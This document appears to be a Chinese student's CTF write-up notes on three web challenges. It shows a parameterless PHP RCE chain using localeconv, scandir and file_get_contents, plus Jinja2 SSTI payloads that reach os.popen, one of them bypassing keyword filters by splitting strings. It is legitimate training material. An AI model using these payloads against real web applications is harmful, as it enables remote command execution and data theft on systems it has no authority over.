4.3学习总结

[HNCTF 2022 WEEK2]Canyource（无参数）

通过这题又接触了一种无参数RCE的方法，前面学习的getallheaders只有在apache环境下才能使用，具有一定的局限性

这里是利用php函数来构造读取flag的方法

localeconv() – 函数返回一个包含本地数字及货币格式信息的数组第一个是.
    pos() – 返回数组中的当前单元, 默认取第一个值
    next – 将内部指针指向数组下一个元素并输出
    scandir() – 扫描目录
    array_reverse() – 翻转数组
    array_flip() - 键名与数组值对调
    readfile()
    array_rand() - 随机读取键名
    var_dump() - 输出数组，可以用print_r替代
    file_get_contents() - 读取文件内容，show_source,highlight_file echo 可代替
    get_defined_vars() - 返回由所有已定义变量所组成的数组
    end() - 读取数组最后一个元素
    current() - 读取数组的第一个元

打开环境，看见';'就能意识到是无参数了

注意这里不是apache环境，所以getallheaders没用，当时我就是尝试了很久都没有成功

先查看返回包含信息的数组

code=var_dump(localeconv())

返回数组中的单元，这里因为localeconv返回的第一个是".",所以默认的返回第一个单元就是"."

code=var_dump(pos(localeconv()))

返回单元后，扫描单元下目录，利用scandir函数

code=var_dump(scandir(pos(localeconv())))

看见了flag，要读取，high和show都被过滤了，所以可以用file_get_contents()，但是flag没有在第一个数组，也没有在第二个数组（如果在第二个数组就可以用next使得内部指针指向下一个单位来读取）

可以翻转后再进行调整

code=var_dump(array_reverse(scandir(pos(localeconv()))))

此时的flag就在第二个位置，用next调整指针位置来读取

code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))))

这题主要是无参数RCE的另外一种构造

[HZNUCTF 2023 preliminary]flask（倒序排序）

打开环境，看见name在做了一些题的情况下应该是能想到SSTI的，开始测试注入的模板

在测试的时候发现对字符串进行了倒序排序，在尝试了6{*comment*}6之后，在尝试{{7*7}}时报错了

在尝试{{7*7}}时报错了（我以为是自己判断的问题，没去想过滤的问题，看了wp才知道是存在过滤,对{{进行了过滤）

既然存在倒序排序，那么就倒序排序payload后注入，负负得正，确实是jinja2模板类型

利用脚本对payload进行倒序排序，如果想尝试手工注入也是可以的

import base64

strA = input()
strB = strA[::-1]

print(strB)

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

看见flag了，但是cat出来不是flag

又去查lwp才知道flag在env（环境变量）中，这个环境变量真不容易想到，记得有一次的ctf比赛就有一题flag藏在env里面，但是那题给来语句的暗示，这里我没明白怎么猜到的env

[NCTF 2018]flask真香（字符串拼接）

打开环境，可以直接传参来进行测试

这说明了是SSTI中jinja2的模板类型注入，按照正常来说，应该进行class来返回对象的类

{{""['__class__']}}

没有回显，fuzz一下，不止SQL可以fuzz，SSTI也可以

过滤了一些命令吧，那么绕过就是首要问题，我以为是要用新的命令来代替，没想到是进行拼接

%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()%7D%7D

os位置269

{{""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('ls /').read()")}}

看见flag，tac/flag

%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('tac%20/Th1s_is__F1114g').read()")%7D%7D